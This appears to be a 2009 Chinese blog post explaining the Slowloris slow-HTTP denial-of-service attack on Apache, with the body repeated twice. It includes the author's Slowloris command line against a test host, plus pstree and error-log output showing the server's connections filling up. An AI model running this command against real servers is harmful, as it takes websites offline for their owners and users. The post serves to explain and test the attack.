Jun
24
Apache中的一个严重漏洞将使得拒绝服务攻击(DoS)变得异乎简单。
Apache 1.x,2.x,dhttpd,GoAhead WebServer和Squid确认都受到影响;IIS6.0,IIS7.0和lighttpd未被波及。Apache基金会目前还没有发布补丁。
ha.ckers公开的Slowloris代码允许对一台特定的服务器发动缓慢的拒绝访问攻击,而不是用堵塞整个网络,它能让一台机器攻陷了另一台机器的 web server,只需使用极少的带宽,对不相关的服务和端口的副效应降到最低。拒绝服务的理想攻击情况是除了webserver不可访问之外,其它服务都完整无缺。Slowloris便源自这个理念,相比大多数攻击方法它更隐蔽。Slowloris首先发送一个不完整的HTTP请求,打开连接,然后每隔一段 时间发送剩余的header,以保证通讯端不被关闭,于是webserver的一个线程便被占用了。由于webserver允许的线程数量是有限制的,因 此Slowloris会缓慢的消耗掉所有的通讯端口。Slowloris是一个Perl程序,需要Perl解释器才能运行。
Slowloris attack code super-link
点击上述链接,可测试.类似全链接攻击.
今天晚上测试了一下攻击代码.果然还是很有效.主要是通过将APAHE的链接数占满来达到攻击效果.
如下示:
攻击: ./slowloris.pl -dns test.test.com -port 80 -time 2000 -num 500 -tcpto 5
受攻击的机器上的情形如下示:
|-httpd-+-8*[cronolog]
| |-114*[httpd]
| `-4*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-120*[httpd]
| `-4*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-194*[httpd]
| `-6*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-225*[httpd]
| `-7*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-289*[httpd]
| `-7*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-321*[httpd]
| `-7*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-386*[httpd]
| `-6*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-418*[httpd]
| `-6*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-620*[httpd]
| `-4*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-607*[httpd]
| `-3*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-606*[httpd]
| `-3*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-604*[httpd]
| `-3*[httpd---sendmail]
bm
[root@test lib]# tail -f /home/www/apache_logs/www-error_log20090623|grep 192.168.0.2
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
Apache 1.x,2.x,dhttpd,GoAhead WebServer和Squid确认都受到影响;IIS6.0,IIS7.0和lighttpd未被波及。Apache基金会目前还没有发布补丁。
ha.ckers公开的Slowloris代码允许对一台特定的服务器发动缓慢的拒绝访问攻击,而不是用堵塞整个网络,它能让一台机器攻陷了另一台机器的 web server,只需使用极少的带宽,对不相关的服务和端口的副效应降到最低。拒绝服务的理想攻击情况是除了webserver不可访问之外,其它服务都完整无缺。Slowloris便源自这个理念,相比大多数攻击方法它更隐蔽。Slowloris首先发送一个不完整的HTTP请求,打开连接,然后每隔一段 时间发送剩余的header,以保证通讯端不被关闭,于是webserver的一个线程便被占用了。由于webserver允许的线程数量是有限制的,因 此Slowloris会缓慢的消耗掉所有的通讯端口。Slowloris是一个Perl程序,需要Perl解释器才能运行。
Slowloris attack code super-link
点击上述链接,可测试.类似全链接攻击.
今天晚上测试了一下攻击代码.果然还是很有效.主要是通过将APAHE的链接数占满来达到攻击效果.
如下示:
攻击: ./slowloris.pl -dns test.test.com -port 80 -time 2000 -num 500 -tcpto 5
受攻击的机器上的情形如下示:
|-httpd-+-8*[cronolog]
| |-114*[httpd]
| `-4*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-120*[httpd]
| `-4*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-194*[httpd]
| `-6*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-225*[httpd]
| `-7*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-289*[httpd]
| `-7*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-321*[httpd]
| `-7*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-386*[httpd]
| `-6*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-418*[httpd]
| `-6*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-620*[httpd]
| `-4*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-607*[httpd]
| `-3*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-606*[httpd]
| `-3*[httpd---sendmail]
[root@test ~]# pstree|grep http
|-httpd-+-8*[cronolog]
| |-604*[httpd]
| `-3*[httpd---sendmail]
bm
[root@test lib]# tail -f /home/www/apache_logs/www-error_log20090623|grep 192.168.0.2
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
困惑的少年
2009/07/31 13:43
windows 2003 下apache 日志报request failed: error reading the headers 是不是跟这个有关?要怎么解决?
ttplay
2009/06/24 14:12
为什么不用watch命令?
分页: 1/1
1
1
Linux下500错误的跟踪维护脚本
linux下的watch命令使用小结




